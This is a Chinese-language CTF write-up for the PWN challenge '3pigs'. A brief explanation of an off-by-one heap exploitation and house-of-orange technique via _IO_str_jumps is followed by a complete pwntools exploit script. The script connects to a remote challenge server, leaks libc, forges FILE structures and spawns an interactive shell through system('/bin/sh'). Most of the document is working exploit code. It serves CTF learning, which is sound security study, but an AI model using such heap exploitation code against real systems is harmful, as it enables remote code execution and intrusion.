-
-
[原创] 第十一题 PWN-3pigs WriteUp
-
2018-7-8 10:10 2612
-
这个题是修改自一个出现过很多次的题:
https://www.xctf.org.cn/library/details/hitb-quals-2018/#3pigs
思路是一样的,通过off by one再free掉来合并堆块,使得top chunk的大小小幅度缩减,多次操作后让top chunk的大小降到0x80以下,再分配一个会得到0x60的unsorted bin,使用secret功能进行覆写,然后使用house of orange的打法。所不同的地方就是secret的触发和top chunk的大小调整的次数,需要进行多次调试。打house of orange的方法是无堆地址的打法,利用的是io_str_jumps.
exp:
#!/usr/bin/env python # encoding: utf-8 from pwn import * #context(log_level = 'debug') libc = ELF("./libc.so.6") #p = process('./3pigs',env={'LD_PRELOAD':'./libc-2.23.so'}) p = remote('139.199.99.130', 8989) def alloc(num, buf): p.sendline('1') p.recvuntil('num:') p.sendline(str(num)) p.recvuntil('data:') p.sendline(buf) p.recvuntil('Success') def free(index): p.sendline('2') p.recvuntil('num:') p.sendline(str(index)) p.recvuntil('Success') def show(): p.sendline('3') return p.recvuntil('Success') def secret(): p.sendline('4') p.recvuntil('secret:') p.sendline('UOTp%I<S') def read_secret(buf): p.sendline('5') p.recvuntil('data:') p.sendline(buf) def leak(): global io_list_all, libc_addr alloc(0,"0") alloc(1,"1") free(0) alloc(2,"2") ret = show() tmp = ret.split("Small Li")[1].strip() print tmp tmp = tmp.split("|") addr = tmp[0] addr = addr.ljust(8,'\x00') addr = u64(addr) usbin_addr = addr print hex(addr) io_list_all = usbin_addr + 0x9a8 libc_addr = addr - (0x7f3950030b78-0x7f394fc6c000) free(1) free(2) def cleantop(): alloc(0,"0"*0xb8) alloc(1,"\x00"*0x60 + p64(0xfffffffffffffffe) + p64(0)*3 + p64(2) + p64(3) + p64(0) + p64(binsh_addr) * 3 + "\x00"*0x8) alloc(2,"\x00"*0x50 + p64(0xffffffffffffffff) + p64(0)*2 + p64(io_str_jumps-8) + p64(0) + p64(system_addr)) free(1) free(2) free(0) def cleantop2(): alloc(0,"0"*0xb8) alloc(2,"2") free(0) free(2) alloc(1,"4") secret() alloc(2,"5") free(2) free(1) read_secret(p64(0) + p64(io_list_all-0x10)[:-1]) if __name__=='__main__': leak() log.success('libc_addr: %s'%(hex(libc_addr))) system_addr = libc_addr + libc.symbols['system'] io_str_jumps = libc_addr + libc.symbols['_IO_file_jumps'] + 0xc0 binsh_addr = libc_addr + 1625431 log.success("io_addr: %s"%(hex(io_list_all))) log.success("system_addr: %s"%(hex(system_addr))) log.success("binsh_addr: %s"%(hex(binsh_addr))) log.success("strjump_addr: %s"%(hex(io_str_jumps))) for i in xrange(512): cleantop() print i cleantop2() #p.interactive() p.sendline("1\n1\n") p.interactive()
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
看原图